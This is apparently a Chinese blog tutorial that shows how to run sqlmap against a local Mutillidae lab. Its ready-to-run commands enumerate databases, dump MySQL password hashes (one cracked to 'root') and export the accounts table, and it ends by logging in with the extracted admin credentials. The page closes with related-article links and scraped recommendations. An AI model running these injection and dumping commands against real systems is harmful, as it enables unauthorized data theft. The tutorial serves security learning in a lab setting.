目录结构

一、判断被测url的参数是否存在注入点
二、获取数据库系统的所有数据库名称(暴库)
三、获取Web应用当前所连接的数据库
四、获取Web应用当前所操作的DBMS用户
五、列出数据库中的所有用户
六、列出数据库中所有账户-对应的密码哈希
七、列出指定数据库中的所有数据表
八、列出指定数据表中的所有字段(列)
九、导出指定数据表中的列字段进行保存
十、根据导出的数据,验证数据有效性

利用SQLMap自动化工具,可判断某个带参数的url是否可被SQL注入,继而获取数据库和服务器的相关敏感数据和信息(如:库、表、列、字段值、数据库和服务器的名称&版本...)。
本文以本地环境搭建的Web漏洞环境(OWASP Mutillidae+phpStudy)进行测试,具体操作流程如下:

Mutillidae漏洞程序

备注说明:因操作系统中同时安装有Python2和Python3的环境,为了区分两个版本,所以在以下sqlmap的操作命令中用python2开头,具体根据各自配置情况决定(常规情况直接用python开头)

一、判断被测url的参数是否存在注入点

python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details"
实际操作可以加上参数--batch,不用每次都提示作选择[Y/N]

 

从以上信息可知:
1)被测url中的username参数存在注入点,可被利用注入的类型有(布尔盲注、报错注入、基于时间的盲注、联合查询注入);
2)以及Web应用程序所采用的服务环境(DBMS、OS、PHP、Apache)的名称和版本号;
3)检测的结果会自动保存到设定的目录下供查看

二、获取数据库系统的所有数据库名称(暴库)

枚举DBMS所有数据库: --dbs

SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --dbs

执行结果:检测列出了Mysql数据库管理系统中的6个数据库

三、获取Web应用当前所连接的数据库

检索DBMS当前数据库: --current-db

SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --current-db

执行结果:当前连接的数据库是nowasp

四、获取Web应用当前所操作的DBMS用户

检索DBMS当前用户: --current-user

SQLMap执行命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --current-user

执行结果:当前操作的用户未root权限的超级用户

五、列出数据库中的所有用户

枚举DBMS所有用户: --users

SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --users

执行结果:DBMS中的所有用户都是root权限的超级用户

六、列出数据库中所有账户-对应的密码哈希

枚举DBMS所有用户的密码哈希: --passwords

SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --passwords
过程中,需要选择是否执行对密码哈希的解密,利用到SQLMap内置的密码字典进行攻击

执行结果:
root用户的密码哈希是*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B,解密之后是root

采用的是mysql5方式加密(http://www.cmd5.com/

 

七、列出指定数据库中的所有数据表

枚举DBMS数据库中的所有表: -D xx库 --tables

参数:
-D 指定数据库名称
--tables 列出所有数据表

首先再查看一下第二步中检测出的所有数据库名称:

 

比如本次选择检测数据库为nowasp,则
SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp --tables

执行结果:检测nowasp数据库,列出了其下的13个表

八、列出指定数据表中的所有字段(列)

枚举DBMS数据库表中的所有列: -D xx库 -T xx表 --columns

参数:
-D 指定数据库名称
-T 指定数据表名称
--columns 列出所有字段(列)

SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp -T accounts --columns

执行结果:检测列出了nowasp数据库->accounts表中的所有7个字段名称及其类型

九、导出指定数据表中的列字段进行保存

导出DBMS数据表项: -D xx库 -T xx表 -C "字段1,字段2,..." --dump

参数:
-D 指定数据库名称
-T 指定数据表名称
-C 指定需要枚举的DBMS数据库表字段
--dump 导出DBMS数据表项

SQLMap操作命令:(导出部分字段)
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp -T accounts -C "cid,is_admin,username,password" --dump

执行结果:检测列出了指定的字段值

 

若不指定某几个字段的导出,想要导出所有字段值,则可以采用命令如-D nowasp -T accounts --dump

 

导出的结果会自动存储到特定的文件路径下

十、根据导出的数据,验证数据有效性

从刚才导出的字段值中,选取一组username/password:admin---adminpass

 

输入选取的用户名和密码之后,检验账户信息,确实存在此账户,如下:

(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据的更多相关文章

  1. python使用sqlmap API检测SQL注入

    0x00前言: 大家都知道sqlmap是非常强大的sql注入工具,最近发现他有个sqlmap API,上网查了一下.发现这是 sqlmap的微端.(可以叫做sqlmap在线检测sql注入= =) 0x ...

  2. sql脚本来获取数据库中的所有表结构了

    sql脚本来获取数据库中的所有表结构了,代码如下: use AdventureWorks2008 go SELECT (case when a.colorder=1 then d.name else ...

  3. sqlmap检测sql注入漏洞

    sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.它由python语言开发而成,因此运行需要安装python环境. 官网:http://sqlmap.org/ 乌 ...

  4. 手工检测SQL注入漏洞

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...

  5. 使用 UEditor 编辑器获取数据库中的数据

    在 ThinkPHP 3.2.2 中,使用 UEditor 编辑器获取数据库中保存的数据,可以使用 UEditor 自身提供的方法. 首先在视图模板中实例化编辑器,这是出现编辑器界面的必须的行为: & ...

  6. 用SQLMAP工具进行SQL注入

    1.检查注入点 [注入点需要自己寻找,可以利用一些工具,例如:Acunetix Web Vulnerability scanner (WVS),AppScan等]u表示URL. sqlmap   -  ...

  7. 当From窗体中数据变化时,使用代码获取数据库中的数据然后加入combobox中并且从数据库中取得最后的结果

    private void FormLug_Load(object sender, EventArgs e) { FieldListLug.Clear();//字段清除 DI = double.Pars ...

  8. 根据不同的实体及其ID来获取数据库中的数据

    /// <summary> /// 根据不同的实体和其ID来获取信息 /// </summary> /// <typeparam name="T"&g ...

  9. php页面获取数据库中的数据

    <!DOCTYPE HTML><html>    <head>        <meta charset="utf-8" />   ...

随机推荐

  1. css3 文字处理

    text-overflow:ellipsis;超出的文字显示...前提是该盒子必须有overflow:hidden;属性 text-shadow 文字阴影 direction:控制文字方向,值有dow ...

  2. Linux常用命令~新手必知

    ifconfig查看本机IP ls  查看当前目录下所有文件及文件夹 ll      以详细方式显示所有文件与文件夹.(相当于 ls -l 命令) pwd     显示当前目录路径 cd  /user ...

  3. node mysql模块写入中文字符时的乱码问题

    刚刚发现一个奇怪的问题: 在node上用mysql模块将数据写入数据库的时候,在cmd上打开mysql发现select出来的中文是乱码.但这就奇怪了. 因为本机在安装mysql的时候就已经在配置文件将 ...

  4. Djano之ORM多表查询操作

    # 把 model 转化为 迭代器去循环 MODEL.objects.all().iterator() # 等同于 values, values_list, 但是 only 这种方式 获取字段属性依旧 ...

  5. mysql小白系列_11 MHA补充

    1.ssh_user 使用VIP方式需要在新的master主机上对网卡启alias并设置IP,普通用户没权限 2.VIP问题 配置以后主从后,在MHA管理节点启动masterha_manager,VI ...

  6. springboot使用redis的keyspace notifications 实现定时通知

    简单定时任务解决方案:使用redis的keyspace notifications(键失效后通知事件) 需要注意此功能是在redis 2.8版本以后推出的,因此你服务器上的reids最少要是2.8版本 ...

  7. 201771010128 王玉兰《面象对象程序设计 (Java) 》第六周学习总结

    ---恢复内容开始--- 第一部分:基础知识总结: 1.继承 A:用已有类来构建新类的一种机制,当定义了一个新类继承一个类时,这个新类就继承了这个类的方法和域以适应新的情况: B:特点:具有层次结构. ...

  8. MySQL浮点数和定点数

    MySQL 分为两种方式:浮点数和定点数.浮点数包括 float(单精度)和 double(双精度),而定点数则只有 decimal 一种表示.定点数在 MySQL 内部以字符串形式存放,比浮点数更精 ...

  9. 数据库对应的jdb连接

    数据库Database URLJDBC Driver class驱动包 Mysqljdbc:mysql://localhost:port/DBnamecom.mysql.jdbc.Drivermysq ...

  10. 对 getopts 的理解

    getopts 格式 1 #!/bin/bash 2 echo "begin index is $OPTIND" 3 echo "begin ARG is $OPTARG ...